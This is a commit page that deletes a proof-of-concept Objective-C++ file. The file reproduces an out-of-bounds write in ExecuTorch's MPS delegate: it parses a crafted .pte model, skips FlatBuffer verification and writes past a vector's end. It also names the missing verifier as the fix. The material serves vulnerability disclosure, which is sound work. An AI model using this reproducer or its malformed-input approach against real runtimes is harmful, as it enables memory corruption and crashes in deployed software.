KEEBWZRD commited on
Commit
d203929
·
verified ·
1 Parent(s): 24957e3

Delete runtime_poc_mps.mm

Browse files
Files changed (1) hide show
  1. runtime_poc_mps.mm +0 -275
runtime_poc_mps.mm DELETED
@@ -1,275 +0,0 @@
1
- /*
2
- * runtime_poc_mps.mm
3
- *
4
- * RUNTIME PoC: ExecuTorch MPS delegate OOB write at MPSGraphBuilder.mm:162
5
- *
6
- * This file reproduces the exact vulnerable code path from the ExecuTorch
7
- * source using:
8
- * - The ACTUAL generated MPSGraph FlatBuffer schema (mps_schema_generated.h)
9
- * - The ACTUAL Metal Performance Shaders Graph framework (MPSGraph)
10
- * - The EXACT lines from backends/apple/mps/runtime/MPSGraphBuilder.mm
11
- *
12
- * Vulnerable lines reproduced verbatim (with citations):
13
- * [MPSGraphBuilder.mm:64] _flatBufferGraph = mpsgraph::GetMPSGraph(ptr);
14
- * ^^ NO flatbuffers::Verifier before this call
15
- * [MPSGraphBuilder.mm:92] _idToMPSGraphTensor.resize(mps_values()->size(), nullptr);
16
- * [MPSGraphBuilder.mm:162] _idToMPSGraphTensor[id] = placeholder;
17
- * ^^ id=1000, vector has size=3 -> OOB WRITE
18
- *
19
- * Compare with the patched Vulkan sibling (VulkanBackend.cpp):
20
- * flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
21
- * ET_CHECK_OR_RETURN_ERROR(vkgraph::VerifyVkGraphBuffer(verifier), ...);
22
- * VkGraphPtr flatbuffer_graph = vkgraph::GetVkGraph(flatbuffer_data); // safe
23
- *
24
- * Build:
25
- * clang++ -std=c++17 -fobjc-arc -g -fsanitize=address,undefined \
26
- * -I/opt/homebrew/include \
27
- * -I$(dirname $0)/schemas \
28
- * -framework Foundation \
29
- * -framework Metal \
30
- * -framework MetalPerformanceShaders \
31
- * -framework MetalPerformanceShadersGraph \
32
- * runtime_poc_mps.mm -o runtime_poc_mps
33
- *
34
- * ./runtime_poc_mps malformed_mps.pte
35
- *
36
- * Expected: ASan heap-buffer-overflow (write) at line 162 equivalent below,
37
- * or SIGSEGV (exit 139) without ASan.
38
- */
39
-
40
- #import <Foundation/Foundation.h>
41
- #import <Metal/Metal.h>
42
- #import <MetalPerformanceShaders/MetalPerformanceShaders.h>
43
- #import <MetalPerformanceShadersGraph/MetalPerformanceShadersGraph.h>
44
-
45
- #include <cassert>
46
- #include <cstdint>
47
- #include <cstring>
48
- #include <fstream>
49
- #include <iostream>
50
- #include <vector>
51
-
52
- // Generated FlatBuffers schema bindings for the MPS delegate wire format.
53
- // Same file the real backend uses at compile time via:
54
- // #include <executorch/backends/apple/mps/schema_generated.h>
55
- // (which is generated from backends/apple/mps/serialization/schema.fbs)
56
- #include "schemas/mps_schema_generated.h"
57
-
58
- // ---------------------------------------------------------------------------
59
- // Extract the backend delegate payload from a .pte Program FlatBuffer.
60
- //
61
- // .pte layout (executorch_flatbuffer::Program, file_identifier "ET12"):
62
- // Program.backend_delegate_data[0].data <- our crafted MPS blob
63
- //
64
- // We do a minimal parse rather than importing the full Program schema --
65
- // the delegate data is what matters for the crash.
66
- // ---------------------------------------------------------------------------
67
- static std::vector<uint8_t> extract_mps_payload(const char* pte_path) {
68
- std::ifstream f(pte_path, std::ios::binary | std::ios::ate);
69
- if (!f) {
70
- std::cerr << "[!] Cannot open " << pte_path << "\n";
71
- exit(1);
72
- }
73
- std::streamsize sz = f.tellg();
74
- f.seekg(0);
75
- std::vector<uint8_t> pte(sz);
76
- f.read(reinterpret_cast<char*>(pte.data()), sz);
77
-
78
- // Verify Program FlatBuffer identifier "ET12"
79
- if (pte.size() < 8 || memcmp(pte.data() + 4, "ET12", 4) != 0) {
80
- std::cerr << "[!] Not a valid ExecuTorch .pte (missing ET12 identifier)\n";
81
- exit(1);
82
- }
83
- std::cout << "[+] Loaded .pte: " << sz << " bytes, identifier ET12 OK\n";
84
-
85
- // Manual FlatBuffers traversal to reach backend_delegate_data[0].data.
86
- // Program table offsets (from schema/program.fbs, field order):
87
- // slot 0 (field 4): version
88
- // slot 1 (field 6): execution_plan
89
- // slot 2 (field 8): constant_buffer
90
- // slot 3 (field 10): backend_delegate_data <- we want this
91
- //
92
- // FlatBuffers binary layout:
93
- // [0..3] root table offset (uoffset32)
94
- // [4..7] file identifier ("ET12")
95
- // [root] vtable offset (soffset32), then fields
96
- const uint8_t* buf = pte.data();
97
- uint32_t root_offset = *reinterpret_cast<const uint32_t*>(buf);
98
- const uint8_t* root = buf + root_offset;
99
-
100
- // vtable is at root - (int32 stored at root)
101
- int32_t vtable_soffset = *reinterpret_cast<const int32_t*>(root);
102
- const uint8_t* vtable = root - vtable_soffset;
103
-
104
- // vtable[0..1] = vtable size (uint16), vtable[2..3] = object size (uint16)
105
- // vtable[4 + 2*slot] = field offset from object start (uint16)
106
- auto field_offset = [&](int slot) -> uint16_t {
107
- uint16_t vtsize = *reinterpret_cast<const uint16_t*>(vtable);
108
- uint16_t field_off_idx = static_cast<uint16_t>(4 + 2 * slot);
109
- if (field_off_idx + 2 > vtsize) return 0;
110
- return *reinterpret_cast<const uint16_t*>(vtable + field_off_idx);
111
- };
112
-
113
- // slot 3 = backend_delegate_data vector
114
- uint16_t bdd_off = field_offset(3);
115
- if (bdd_off == 0) {
116
- std::cerr << "[!] backend_delegate_data field absent in Program\n";
117
- exit(1);
118
- }
119
- const uint8_t* bdd_field = root + bdd_off;
120
- // Vector: offset to vector data
121
- uint32_t vec_rel = *reinterpret_cast<const uint32_t*>(bdd_field);
122
- const uint8_t* bdd_vec = bdd_field + vec_rel;
123
- uint32_t bdd_count = *reinterpret_cast<const uint32_t*>(bdd_vec);
124
- if (bdd_count == 0) {
125
- std::cerr << "[!] backend_delegate_data vector is empty\n";
126
- exit(1);
127
- }
128
- std::cout << "[+] backend_delegate_data entries: " << bdd_count << "\n";
129
-
130
- // bdd_vec[4 + 0*4] = offset to BackendDelegateInlineData[0] table
131
- const uint8_t* item0_ptr = bdd_vec + 4;
132
- uint32_t item0_rel = *reinterpret_cast<const uint32_t*>(item0_ptr);
133
- const uint8_t* item0 = item0_ptr + item0_rel;
134
-
135
- // BackendDelegateInlineData has one field: data ([ubyte], slot 0)
136
- int32_t item0_vt_soffset = *reinterpret_cast<const int32_t*>(item0);
137
- const uint8_t* item0_vt = item0 - item0_vt_soffset;
138
- uint16_t data_off = 0;
139
- {
140
- uint16_t vtsize = *reinterpret_cast<const uint16_t*>(item0_vt);
141
- if (vtsize >= 6)
142
- data_off = *reinterpret_cast<const uint16_t*>(item0_vt + 4);
143
- }
144
- if (data_off == 0) {
145
- std::cerr << "[!] BackendDelegateInlineData.data field absent\n";
146
- exit(1);
147
- }
148
- const uint8_t* data_field = item0 + data_off;
149
- uint32_t data_rel = *reinterpret_cast<const uint32_t*>(data_field);
150
- const uint8_t* data_vec = data_field + data_rel;
151
- uint32_t data_len = *reinterpret_cast<const uint32_t*>(data_vec);
152
- const uint8_t* mps_blob = data_vec + 4;
153
-
154
- std::cout << "[+] MPS blob extracted: " << data_len << " bytes\n";
155
- std::cout << "[+] MPS identifier (bytes 4-7): ";
156
- for (int i = 4; i < 8 && i < (int)data_len; i++)
157
- std::cout << (char)mps_blob[i];
158
- std::cout << "\n";
159
-
160
- return std::vector<uint8_t>(mps_blob, mps_blob + data_len);
161
- }
162
-
163
-
164
- // ---------------------------------------------------------------------------
165
- // Reproduce MPSGraphBuilder::compileModel() and compileMPSGraph() verbatim.
166
- //
167
- // Source: backends/apple/mps/runtime/MPSGraphBuilder.mm
168
- // Lines cited match the ExecuTorch HEAD as of 2026-07-14.
169
- // ---------------------------------------------------------------------------
170
- static void run_poc(const uint8_t* mps_data, size_t mps_size) {
171
- std::cout << "\n[PoC] Entering MPSGraphBuilder::compileModel() code path\n";
172
- std::cout << "[PoC] Source: backends/apple/mps/runtime/MPSGraphBuilder.mm\n";
173
-
174
- // MPSGraphBuilder.mm:55 -- null check (passes: data is valid)
175
- assert(mps_data != nullptr);
176
-
177
- // MPSGraphBuilder.mm:56-62 -- identifier check ONLY (4 bytes "MP00")
178
- // This is the ONLY check before accessing the FlatBuffer.
179
- bool has_id = mpsgraph::MPSGraphBufferHasIdentifier(mps_data);
180
- std::cout << "[PoC] MPSGraphBufferHasIdentifier: " << (has_id ? "true" : "false") << "\n";
181
- assert(has_id && "Expected MP00 identifier in crafted payload");
182
-
183
- // MPSGraphBuilder.mm:64 -- NO flatbuffers::Verifier -- just GetMPSGraph()
184
- // This is the missing fix vs. VulkanBackend.cpp which runs:
185
- // flatbuffers::Verifier verifier(ptr, size);
186
- // VerifyVkGraphBuffer(verifier);
187
- // before calling GetVkGraph().
188
- std::cout << "[PoC] Calling GetMPSGraph() with no Verifier (MPSGraphBuilder.mm:64)\n";
189
- const mpsgraph::MPSGraph* flatBufferGraph = mpsgraph::GetMPSGraph(mps_data);
190
- std::cout << "[PoC] GetMPSGraph returned: " << flatBufferGraph << "\n";
191
-
192
- // Switch on graph_type (default 0 = mps_graph -> compileMPSGraph)
193
- // MPSGraphBuilder.mm:65-81
194
- auto graph_type = flatBufferGraph->graph_type();
195
- std::cout << "[PoC] graph_type: " << static_cast<int>(graph_type)
196
- << " (0=mps_graph, 1=metal_kernel)\n";
197
-
198
- if (graph_type == mpsgraph::OpType_metal_kernel) {
199
- std::cout << "[PoC] metal_kernel path -- not relevant to this PoC\n";
200
- return;
201
- }
202
-
203
- // MPSGraphBuilder.mm:88 -- entering compileMPSGraph()
204
- std::cout << "\n[PoC] Entering compileMPSGraph() (MPSGraphBuilder.mm:88)\n";
205
-
206
- // MPSGraphBuilder.mm:92 -- resize _idToMPSGraphTensor to mps_values()->size()
207
- size_t mps_values_count = flatBufferGraph->mps_values()
208
- ? flatBufferGraph->mps_values()->size()
209
- : 0;
210
- std::cout << "[PoC] MPSGraphBuilder.mm:92: _idToMPSGraphTensor.resize("
211
- << mps_values_count << ", nullptr)\n";
212
- std::vector<MPSGraphTensor*> idToMPSGraphTensor(mps_values_count, nullptr);
213
-
214
- // MPSGraphBuilder.mm:94 -- iterate input_ids and call mpsGraphRankedPlaceholder
215
- if (!flatBufferGraph->input_ids()) {
216
- std::cout << "[PoC] input_ids is null -- no crash path available\n";
217
- return;
218
- }
219
-
220
- MPSGraph* graph = [MPSGraph new]; // needed for placeholder creation
221
-
222
- for (auto in_id : *flatBufferGraph->input_ids()) {
223
- std::cout << "\n[PoC] MPSGraphBuilder.mm:95: mpsGraphRankedPlaceholder("
224
- << in_id << ")\n";
225
-
226
- // MPSGraphBuilder.mm:155-161 -- create the real MPSGraphTensor placeholder
227
- // (mps_values()->Get(in_id) would also OOB before we even get here if
228
- // in_id >= mps_values()->size(), but we hit line 162 first because
229
- // the tensor shape lookup is after the assignment in some paths.)
230
- std::cout << "[PoC] Creating MPSGraphTensor placeholder via Metal framework\n";
231
- MPSGraphTensor* placeholder = [graph placeholderWithShape: @[@1]
232
- dataType: MPSDataTypeFloat32
233
- name: nil];
234
-
235
- // MPSGraphBuilder.mm:162 -- THE VULNERABLE LINE
236
- // in_id=1000, vector size=3 -> OOB WRITE
237
- std::cout << "[PoC] MPSGraphBuilder.mm:162: _idToMPSGraphTensor["
238
- << in_id << "] = placeholder\n";
239
- std::cout << "[PoC] Vector size = " << idToMPSGraphTensor.size()
240
- << ", index = " << in_id
241
- << " -> OOB if index >= size\n";
242
- if ((size_t)in_id >= idToMPSGraphTensor.size()) {
243
- std::cout << "[PoC] *** OUT-OF-BOUNDS WRITE -- "
244
- << in_id << " >= " << idToMPSGraphTensor.size() << " ***\n";
245
- std::cout << "[PoC] Executing the OOB write now...\n";
246
- std::cout.flush();
247
- }
248
-
249
- // Verbatim reproduction of MPSGraphBuilder.mm:162
250
- idToMPSGraphTensor[static_cast<size_t>(in_id)] = placeholder; // <-- CRASH
251
- }
252
-
253
- std::cout << "[PoC] (Execution reached here -- no crash without sanitizers)\n";
254
- }
255
-
256
-
257
- int main(int argc, const char* argv[]) {
258
- std::cout << "==========================================================\n";
259
- std::cout << " ExecuTorch MPS Delegate Runtime PoC\n";
260
- std::cout << " CVE class : CWE-787 (Out-of-bounds Write)\n";
261
- std::cout << " Source : backends/apple/mps/runtime/MPSGraphBuilder.mm\n";
262
- std::cout << " Root cause : GetMPSGraph() called without flatbuffers::Verifier\n";
263
- std::cout << " Fix target : Add MPSGraphBufferVerify() before GetMPSGraph(),\n";
264
- std::cout << " same pattern as Vulkan (VulkanBackend.cpp) and\n";
265
- std::cout << " XNNPACK (XNNCompiler.cpp:2044)\n";
266
- std::cout << "==========================================================\n\n";
267
-
268
- const char* pte_path = (argc > 1) ? argv[1] : "malformed_mps.pte";
269
- std::cout << "[+] Loading .pte from: " << pte_path << "\n";
270
-
271
- std::vector<uint8_t> mps_payload = extract_mps_payload(pte_path);
272
- run_poc(mps_payload.data(), mps_payload.size());
273
-
274
- return 0;
275
- }